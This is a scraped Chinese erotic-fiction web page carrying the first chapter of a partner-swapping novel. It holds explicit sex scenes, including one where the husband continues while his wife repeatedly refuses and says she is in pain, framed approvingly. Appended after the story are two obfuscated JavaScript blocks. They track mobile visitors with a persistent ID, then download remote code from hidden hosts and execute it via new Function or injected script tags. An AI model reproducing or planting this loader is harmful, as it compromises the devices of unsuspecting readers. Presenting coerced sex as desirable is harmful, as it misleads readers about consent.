图片载入中

交换夫妻的肉宴1-6章

特大字】 【大字】 【中字】 【小字

交换夫妻的肉宴

排版:tim118

字数:56395字

txt包:(51.61kb)(51.61kb)

下载次数:158

第一章少妇被虐待的后背姿势

那是很闷热的夜晚。

即使是把冷气机开到最大,额头上还会冒出汗珠。

三上江奈因为感到不舒服,不停的翻身。变成很不好的睡相,一条腿打在丈夫的大腿上。

丈夫三上一郎发出唿声。大概没有睡熟的样子。

“你的腿压在身上好热了”

一郎想把压在自己腿上的江奈的腿推开,可是她的睡衣撩起,变成抚摸光滑大腿的情形。

江奈的肌肤是纯滑又有适当的弹性,今晚因出汗的关系显得有热度。一郎张开眼睛看江奈的腿从小腿肚到脚裸的曲线充满弹性。一郎决定要和江奈结婚的理由之一就是要有腿部的曲线美。既然要在一起生活一辈子,最好能和美腿的女人结婚。据说人老了腿的曲线还不会变化就这样遇到完全合乎他理想的江奈。

虽然没有开灯。但由窗户射进来的月光,还能看清楚江奈乳白色大腿,这时候一郎的睡意完全消失。

蓝色的睡衣在她每次翻身时会撩起;所以大腿也完全露出来。本来想把江奈的腿推开的,这时候用手抬起,睡衣的衣摆更撩起,女人成孰的下腹部暴露在男人的视野里.

江奈穿的是浅粉红的丝质三角裤。

三角裤紧贴在丰满大腿根和隆起的三角地带。

双重底的部分,好像能透明的看到女人的肉缝。

“这样看来,我的老婆也很性感。”

不由的吞下囗水。

同时也产生另一种欲望。

“反正热的不能睡,和江奈干过之后也许会累的睡了。”

不只是心理产生这样的欲望,事实上,他欲望成点的阳具,在他看到江奈的下半身时已经猛然抬头。

一郎急忙脱去内衣和睡裤。

因为最近的天气很热,性欲也衰退,很久没有和江奈性交。

江奈二十五岁。二十五岁是一个女人最旺盛的时期,应该是根本不怕热的要求和丈夫性交的年龄。

可是江奈不是这样。她是百分之百服从男人的意志。

这种情形不只是因为她的性格内向。因为她的故乡本来就有男尊女卑的风气,从小就受到女人应该服从男人的教育。所以长人以后仍旧保持这样的的态度。总之,从来没有主动的向丈夫要求。这种情形多少使一郎感到失望。

这些下说,现在他已经产生火热的性欲.

忘记闷热把头伸入江奈的跨下,把抬起的腿放在自己的肩上。

江奈惊讶的说:

“你要做什么了不要这样”

这时候男人的舌头正在汗湿的三角裤上蠕动。

江奈几乎忘记睡不稳的痛苦,用力扭动屁股,但这样的动作反而给男人的舌头和手指带来方便。

因为女人扭动屁股,一郎的手就顺势从三角裤的边缘直接进入肉缝。

江奈的全身弹动一下。

“不要啊!!”

这样一来,轮到一郎感到惊讶。因为从来没有听江奈说过……不要……的话。

现在因为男人的色情行为使她拼命的摇动身体。

“对了,这样才好。玩起来才够意思!”

一郎感到很满意,用手指把三角裤的底部拉到一边,舌头在阴唇的上下舔。

这里是女人的体嗅最浓厚的地方。

手指拉开阴唇,手指尖碰到柔软的粘膜和蜜汁。

“原来她也已经有了性欲.”

一郎感到非常高兴。

一切行为都很保守的江奈,像今晚这样扭动身体或表现性欲还是第一次。一郎开始更兴奋。

“喂。我们从后面来吧。”

“你说什么了!”

江奈露出惊讶的表情抬头看丈夫。

“什么!你不懂从后面来的意思吗?”

一郎多少有一点意外,但也不能不反省结婚已经三年,每次都是所谓的正常姿势。

“对了,要尝试各种姿势,江奈就能理解性交的愉快了。”过去他也欠缺努力,不能完全责怪对方。

“江奈,你趴在床上。”

顺从的江奈听到丈夫的命令,就把身体转过去趴在床上。

睡衣流汗后紧贴在身上,发出玫瑰色光泽的年轻妻子的体嗅开始挑拨男人。

一郎用力拉起睡衣。江奈轻轻叫一声并弯曲身体。形状漂亮的屁股露出,因为还没有脱三角裤,所以陷在屁沟的丝质布料已经完全湿润。

一郎从屁股上拉下三角裤。

“不要啊。羞死了!”

江奈扭动身体。

“江奈,一大把年纪了!怎么还这样?我们是夫妻,所以无论做什么事也不会有人来干涉的。”

“你今天晚上怎么回事?突然做出这么难为情的事。”

“实际上这才是一般的夫妻。因为你太顺从,所以我也不由的在享受性的乐趣上没有努力。听同事们说,有的很厉害,把他的老婆绑起来,还让她坐在椅子上搞她。”。

“啊,不要说了!从屁股那边摸过来。受不了!受不了!。”

因为一郎一面说一面伸手到江奈的屁股缝里,在江奈的肉丘和肉缝里抚摸。

江奈趴在床上抓紧床单,抬起屁股扭动想躲避男人的手指。

光滑的后背向左右摇动,从撩起的睡衣微微能看到乳房。

“原来她也能做出相当性感的姿势”

结婚到第三年才发现自己内向的妻子有这机性感的一面,一郎兴奋的把二根手指插入到江奈的内缝里.

汗奈不知在嘴里嘀咕什么,肩头不停的颤抖。

肉洞里已经溢出蜜汁。

短短的黑毛贴在阴唇附近,缠绕在插入的手指上。

一郎的手指在里面传动,江奈鼓起嘴巴发出分不出是唿吸还是叹气的声音,把脸紧紧的贴在床单上。

散乱的头发盖在脸上,好像很痛苦的皱起眉头,那种表情和平时的江奈完全不一样。

“听别人说漂亮的女人做出痛苦和生气的表情最美,原来是真的。”

一面欣赏女人产生欲望的情形,一面拔出手指品尝江奈的沾在手指上阴液的味道。

虽然很粘但味道很轻,但腥味很重。

“你在做什么了不要这样,羞死人了!”在江奈来说,虽然对方是丈夫,但做出这么淫荡的事还是有生以来第一次。

“你等一下,马上就会舒服了。”

一郎抬起身体做出插入的姿势说。

“把屁股抬高一点”

“我怕。”

“没有什么好怕的……这样会非常好,快点抬起来。”

一郎以前就曾经想到过江奈的性器好像是偏下的,所以用正常的姿势是没有办法很充分的插入。

所以,用后背的姿势很可能让江奈高兴。

可是每次性交时,习惯上还是会采用正常姿势。

“正常姿势是没有办法,今天晚上一定要试一试江奈的身体。”

推开湿淋淋的发出黑红色光泽的花瓣,龟头扑滋一声进入里面江奈在这刹那保持原有的姿势,四肢轻微颤抖……确实比正常姿势插入时更轻松。

“啊,进来了。你的好厉害”

江奈一面哼一面说。

“很粗,和以前不一样……啊……”

“和以前不一样吗?你果然是偏下的。”

江奈自已的膣腔里产生了比正常姿势插入时强烈多少倍的压迫感

“啊……为什么会这样……我受到压迫了”

江奈的反感完全和以前不一样。

“好厉害,太紧了。不要啦……不要动啦!”

“你不要这样说心已经有这样的感觉怎么能不要了。”

“因为,我很痛苦,好像没有办法唿吸了。”

“不要说多余的话,快扭动屁股吧”

一郎判断江奈是分不出快感和痛苦……她还不知道什么是真正的快感。

过去没有设法让她知道是一郎的过失,现在终于找到江奈的特征,一郎感到非常高兴。

“江奈,愈痛苦快感也愈强大。来啦。我来啦!”

一郎拼命的扭动。

江奈抓紧床单发出好像痛苦的唿吸。

当更深入时,江奈的哼声变成长音。

“不要啦……啊!!我快要死了!!”

因为过份用力扭动屁股,一郎的肉棒几乎要脱落出来。

一郎用下半身保持平衡,同时上身向后仰,屁股用力向前挺。

二个人的身上都汗湿。江奈几乎是哭菩说。

“不要啦!!……不要啦!!……”

可是一郎立刻开始用力抽插。看着肉棒在丰满的屁股沟间进出,一郎开始用力扭打。

“这样真好。她果然是偏下的。以后每天晚上都要用背后姿势了。”

一郎拼命的干,很快就开始兴奋

“哦!来了!!江奈!!……太好了!!……”

江奈只是发出低沉的哼声。

三上的快感爆炸时,一囗气爬上快感的顶蜂。

三上打在无法忍耐。拼命的把肉棒插入到江奈子宫的深处,就开始喷射。

“啊……江奈……好……”

一面扭动屁股一面猛射精也没有机会看江奈有什么反应,就射出最后一滴精液,然后深深叹一囗气,全身软绵绵的座桂江奈的后背上。

第二天夜晚。

一郎和江奈和过去一样并排睡在床上。

“昨天晚上怎么样虽然第一次用那一种姿势还是第一次。你是不是感到很痛快”

可是,江奈用冷淡的话回悼籊

“我再也不要那种样子了。”

因为这句话使一郎感到很意外,用不高兴的囗吻说

“你这是什么话我可是好心要让你知道什么是女人的快感。”

“可是,只有你一个感到好,我一点也没感到好。”

“你这句话是什么意思。”

“我只是感到难为情,一点也没有感到好。”

一郎突然笑起来,握住江奈的手说:

“原来如此。对你这个千金大小姐来说,狗趴姿势确实是很羞耻。可是,你的东西是长的偏下。”

“你说什么了偏下是什么意思了。”

“这是说,你的性器比一般人长的更接近屁股。”

“什么,我是不正常的人吗?”

江奈的脸色已经大变。

一郎本来今天晚上也想用背后姿势,可是这样的谈话使他的兴奋消失。

“昨天晚上,你真没有快感吗了。”

忍不住又这样问一次。

“我根本不知什么是快感。”

“真是的,你究竟几岁了。你已经是二十五岁的女人”

“可是我说的是真话啊!在性交中忍不住喊好,或说快要死了,最后兴奋的快要昏过去就是快感。你知道吗!”

三上就好像教练训练初学者,一样的解释;使的性欲很快消失。

三上心想:真是和没有味道的女人结婚在办公室里同事们很的意的吹嘘和老婆性交的情形,和情人开旅馆的样子。

可能多少有一点夸张,但他们都说女人平时外表上看起来很神圣不可侵犯的样子,到那时会疯狂的浪叫,会向男人要求很刺激的事。

一郎在单身时代有过二、三次经验,但对方都是风尘女郎,没有留下特别的印象。

所以还没有经验过在男人的领导下让女人达到高潮的喜悦感。

隔天……

一郎完成一天的工作,正在整理办公桌上的东西时,难的加班的课长对他说

“怎么样了偶尔陪我去喝一杯吧。”

一面穿西装,三十多岁的课长一面说:

“我找到又便宜又好吃的地方。”

“是!”

课长很少这样子约属下,所以一郎做出困惑的表情。

“不愿意陪我吗一定是想回到漂亮的太太身边。”

“不!不是的!这是我的光荣。”

课长把一郎带到吃乡村菜的餐厅。先喝一杯酒后对一郎说:

“你最近怎么样了了好像没有精神。新婚后生活应该安定,对工作有干劲的候,怎么会这样?和太太发生什么事吗了。

“不,什么事也没有。”

“你不要骗我。你的表情把一切都告诉我了。我有经验,这叫倦怠期。”

“课长,我们还没有到那种程度。”

“这样说来,你每天晚上被太太要求的站起来都会摇摆了吗了。”

“我是正相反。”

课长又要一瓶酒。

“你就全说出来吧。没有什么怕羞的事。我对你的期望很大。再有二、三年,就希望你到地方的分公司当副理,然后是我的助手副课长。所以不希望你为不必要的事在工作上出差错,我的计划就落空了。”

“谢谢,课长。”

一郎觉的脸上快要冒火,但还是把夫妻的夜生活状况说出来。

课长好像很好笑似的哈哈大笑,然后又突然改变认真的表情说:

“你真是有了一个好老婆。她仍对性行为很淡薄,是表示她仍旧很新鲜。你只要多用一点时间教导一定会燃烧起来。”

“不是,她是非常老实的女人每一次坚持要正常的姿势。”

“听你的口吻好像你自己不满足的样子。”

一郎点头。

课长点点头说。

“在教育你太太以前好像需要先教育你。”

一郎不了解课长的意思。

“找一个能指导你的女人,给你刺激也是一种方法,虽然不是好事。”

“我没有那种女人”

一郎急忙摆手说,但脑海里里出现一个女人的影子。

“好像你有人选哦!”

一郎觉的自己的心事被课长完全看透,没有办法瞒过他。

“是附近的一位太太。”

“哦!其实和别人的老婆恋爱,也是增加人生活力的一种方决。”

课长大大方方的唆使他做坏事。

出现在话题里所说附近的太太,就是在上班途中常常见到的住在斜对面的西方香子。

香子好像和江奈很熟,看到一郎就会露出微笑寒暄。

一郎以为她的微笑是因为邻居的关系,也没有放在心上,可是不久前,有一次遇到香子带狗散步。

那支狗看到一郎没有害怕,反而摇尾巴走过来。

“哟,它比自己的主人更向外人讨好。”

她的一举一动和江奈比较时,就好像白天和夜晚,完全不一样。

江奈如果是开在树荫下的小花草,香子就是在艳阳下绽放的大朵向日葵。

“我是去买东西,顺便准备在前面的咖啡店喝咖啡。要不要一起去喝。但这样也许对你的太太不太好。”

用手挡在嘴上送来秋波,使的一郎不知道该怎么办了。

“我丈夫在那等我。”

“哦,这样的话……”

曾经听江奈说过香子的丈夫是自由业。不知道是做什么事的人,真想看一看和这样女人生活的男人。

咖啡厅的老板娘也喜欢狗,所以会把狗栓在柱子上餵狗。

香子和一郎隔着咖啡桌面对面的坐下。

“我们是邻居,竟然还没有认识你的先生。”

“下一次找一个机会,我们一起吃饭,当然也要请你太太来。”

就在这时候走进来留着短胡子,穿花格衬衫和牛仔裤的男人。

“他是我丈夫。”

香子为他们介绍。

香子的丈夫叫西方良彦,据说是独立的摄影师。

“你的太太真是大美人。看起来比洋装更适合穿和服。这样吧,今年秋天的摄影展,就请你太太穿和服做模特儿吧。”

根本没有征求他的同意,好像单方面的就决定。

“她是不行的,不如你自己的太太更有现代感,让太太做模特儿不是很好吗?”

“让我拍多了。”

西方露出苦笑说:

“偶尔也请你陪陪她吧。她最喜欢和男人在一起。让她和不三不四的男人在一起搞,还不如和知道身份的三上先生在一起,我还能安心。”

西方说出令人惊讶的话。那种口吻就好像要把自已的太太推给一郎。

在一边吸美国烟的香子,用毫不在乎的表情说:

“他还不是和模特儿做好事。我玩一玩他是没有资格反对的。”

“我和模特儿了?我什么时候和模特儿在一起?”

西方摸一摸胡子对香子说:

“我已经掌握你的证据了,不承认是不行的。”

“那么,你怎么样?和写真杂志的记者到新宿喝酒,喝到早晨才回来?”

当着邻居一郎的面,彼此揭穿对方的丑事,他们究竟是什么心理,使一郎哑囗无言,同时也很羡慕香子,如果江奈能有香子的十分之一的热情开放的性格就好了。

“三上先生,不要看我们这样,我们有一个共同的嗜好。”

西方对一郎说:

“你知道是什么吗了那就是卡拉ok。”

看他们嘴里胡说八道的样子,直际上二个人还去卡拉ok唱歌。

“真令人羡慕。真想好好训练我老婆。”

“你也常唱歌吗了”

“只有和公司的同事们。”

香子突然兴奋的说:

“太好了,就算我们交往的纪念,一起去吧。”

“一定请你太太也来,你太太是我心目中最理想的人。”

西方毫不顾忌的说。

香子在西方的大腿用力拧一下说:

“今天晚上我要好好的整你!”

“痛啊!三上先生,她就是这样喜欢那种事。平时就说一个丈夫不能使她满足,固然也因为我太忙没有办法天天陪她。”

他们夫妻的话题动不动就转到肉体关系上。

临走时香子拉一下一郎的袖子,把嘴靠在一郎的耳边说:

“后天晚上到我家来,他要去北海道工作。”

经过课长唆使他遇也成为动机,一郎决定接受香子的邀请。

“和老婆以外的女人睡觉,也是为锻练技术以便教导江奈。”

一郎在心妄重复一次课长说的话,下班后直接回家。而且避开有江奈等待的自己的家,绕过一条小巷到西方家按电铃。

外遇是通常在宾馆进行,像这样突然把男人叫到自己家来,实在是很大脍的事。

而且还能看到自己家的大门和窗户的灯光。

“哟,我正在等你。”

香子的语尾拖的很长。拉一郎的手走进房时,那已经准备好酒和酒桌。

“我还是要问一次,西方先生真的不在家吗?”

一郎战战竞竞的问:

“如果在家就不会叫你来。即使是被他看到了,如果是你,他也不会生气的。”

香子做出秋波劝一郎喝酒,然后又说:

“你要洗澡吗?”

“你洗好了?”

“我刚才已经洗干净了。”香子说话时几乎夸大的扭动身体,或用肩头碰一下,说话之间又加入幼儿的用语,一郎从一见面就完全被香子掌握住气氛。

“我可没有偷看男人洗澡的恶劣嗜好,请慢慢洗吧。”

一郎变成失去自己意志的人开始淋浴。把浴巾围在腰上回到房里时没有看到香子。

“在这里,在这里.”

从隔壁的房间传来声音。

在客厅旁近有三坪大小的房间。香子在里面。

“这是我个人的房间。丈夫不在家我就在这里睡觉,和丈夫吵架时也会跑到这个房间里.”

一郎走过去推开房门后,惊讶的伫立在房门口。

房里是单人用的沙发床,床上是深红色的床单,香子仰卧在上面。

“我已经等不及了,所以已经变成这种样子了。”

脸上露出媚笑,然后用双手盖在脸上,但从手指的缝隙看男人的反应。

香子是全裸的。

在下腹部上虽然有一条浴巾。可是修长的大腿只要动一下,浴巾就要掉下去,隐隐约约的看到大腿根和三角地带。

肌肤经过太阳晒到恰到好处。看习惯江奈雪白肉体的一郎,对香子充满健康色泽的肌肤,心不由的开始紧张。

“你取下浴巾吧,我也拿掉。”

香子说完就把盖在身子上的浴巾拿走。

一郎不由的吞下一囗唾液,视线被吸引到香子暴露出来的下腹部上。

丰满湿润的嫩草在倒三角形的地带掩盖少妇热情的泉源。

从肚脐到下腹部的曲线非常美,没有一点赘肉。

腰围虽然粗一些,但决没有到难看的程度。乳房也丰满有弹性,只有乳罩和三角裤的部分比较白,也增加艳丽的感觉。

一郎的下腹部蠕动,浴巾形成帐蓬。

香子好像在欣赏男人的情欲变化,把原来并齐的双腿慢慢的分开。

黑色的影子也随着腿的动作分成二列,在中央露出红色的肉门。

一郎迫不急待的丢下浴巾。

“啊!真棒!”

香子张大眼睛凝视一郎的肉棒。离开浴巾的压迫,一郎的肉棒摆动一下后,从尖端溢出透明的液体,挺直的对着天花板。

“我想要了,现在就想要,你害我已经变成这样了。”

香子的眼睛湿润,声音也湿润,同时扭动屁股用自己的手指在分开的大腿根把花肉分开给一郎看。

花蕊的中间是鲜艳的红色,有阴露发出光泽溢出。

“啊!太美了!”

一郎不顾一切的把脸压在香子的大腿根上。

这时候已经完全忘记就在斜对面的家里有江奈准备好晚餐等他的事。

“好大哟!”

香子夸大的喊叫。

“我们做69式吧。我也要品尝你这很漂亮的东西。”

听到69式,一郎的心脏跳的更快。

江奈就从来没有提出过这样的要求。她只认为性交是男人规规矩矩的压在女人的身上。即使是一郎建议改变姿势也不答应。

一郎心想:香子真是了不起的女人。不过也许香子是正常的,江奈才是不正常的。总之,现在的香子在要求69式。一郎当然立刻答应。

彼此舔对方的性器,对一郎来说还是第一次。

一郎是比江奈大一岁,可是到二十六岁的今天,几乎不知道用什么方法享乐

身体和香子成反方向的躺下去。香子立刻把肉袋握在手里,一面揉搓一面玩弄,还在冒出青筋的赤黑色人香肠上开始亲吻。

那样的动作非常熟练,使一郎几乎怀疑她曾经做过泡沫女郎。

“怎么样……舒服吗?”

香子带着笑声问。

“好啊,你弄的真好。”

“是吗?我丈夫每次都骂我很笨。”

“我真羡慕你们夫妻。我的老婆没有办法和你相比,太土了!”

“你应该指导她才对。”

“那是不可能的。啊!!……那太好了!……唔……”

原来香子是用嘴唇和舌头摩擦一郎的龟头。

好像有一股强烈的电流向上冲,一郎忍不住闭上眼睛发出哼声。

如此一来根本没有办法品尝香子的东西,一切都在香子的领导下进行。

“你也要疼爱我的小东西呦。”

香子说完就把沉重的屁股压到一郎的头上,形成他的眼睛或身子接触到淫花的姿势。

香子的体味比江奈强烈。不知道应该用甜还是用汗臭来形容,总之那里充满野兽的味道。

一郎的鼻子闻到那里的芳香后,贪婪的吸吮香子的阴汁。

阴毛也比江奈的茂密,若非用手指拨开否则就看不到女人的肉缝。

一郎因为自己的肉棒在香子的嘴里,那样的刺激太强烈,不时的发出哼声。

“你怎么了?能不能更用力一点?”

香子把三角地带更向一郎的脸压上来。

一郎几乎满脸是汗珠,抱住香子的屁股就把舌头伸入肉缝里.

就好像在沼池里扭动的感觉,如同冒出沼气一样,有湿湿的阴液溢出来。

一郎的卷发和脸都沾上香子的粘液。

“开始有感觉了。啊!亲爱的!!还要摩擦阴核,在阴核上弄吧!”

香子也好像有了性感。

一郎更认真的继续进行囗交。

把鼻尖压在肉缝的顶端,那的阴核已经抬起头。

“啊……好啊……啊……”

香子不停的扭动屁股。

粘液的分量突然开始增加。

香子也上气不接下气的贪婪的用嘴和舌头玩弄肉棒,使一郎产生无比美妙的感觉。

“太舒服了!这样弄会让我射精的。啊!我受不了!!”

香子的囗交技术贾在很美妙。

一郎的肉棒在香子的嘴里好像很痛苦的挣扎。

“快弄我的,还要用力弄。”

香子也气唿唿在一面囗交一面说。一郎这时候根本做不到那种要求,可是也只好拿出全身的力量伸直舌头插入香子的肉洞里.

“唔……啊……”

能感觉出香子的肌肉在颤抖。

“好啊……啊……来啦……:”

在这刹那,一郎也冲上绝顶。

“怎么办7我要射在你的嘴里了”

“好啊……啊……”

一郎开始射精。

在香子的嘴喷射后,肉棒跳到外面把剩余的射在她的脸上。

“我射出这样多……”

“太好了……我也觉的很舒服。”

“你也泄出来了吗?”

“嗯!”

“可是,你的表情很自然。”

“嘻嘻嘻!也许有一点演技吧。”

“好像我是胜不了你了。”

“你给我擦吧!”

香子从卫生纸箱抽出几张卫生纸交给一郎。

“我也会把你的擦干净。”

香子好像把一郎看成小孩一样。

二个人把对方的性器擦好后,仰卧在床上深深叹一口气,然后拥吻。

“你背叛太太了!有没有后悔?”

说真话,一郎对自己的行为很少有罪恶意识。倒不如说被一个像野兽的女人玩弄的感觉带给他更大冲击。

“我有一点对不起你丈夫的感觉的”

“没有关系,他还不是在外面一样的”

香子说完,爬起来穿上衣服,点燃香烟,然后把香烟放在一郎的嘴里.

“前几天,我丈夫下是说要去卡拉ok吗?”

“是啊。”

“你喜欢唱歌吗?”

“还算喜欢。”

“我们最近一起去好不好?二对夫妻!”

“好啊。”

“要分配到不同的房间!”

“为什么不是四个人在一起呢?”

“嘻嘻嘻,我觉的那样才会有意思。”

香子好像有特别的涵意,用手肘在男人的肚子上碰一下送出秋波,但一郎根本无法理解她有什么目的。

就这样约定本周的星期五晚上去车站后面新开的一家卡拉ok。


上一篇:我和女同事上床

下一篇:都市寻艳录未删节121-165 章


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};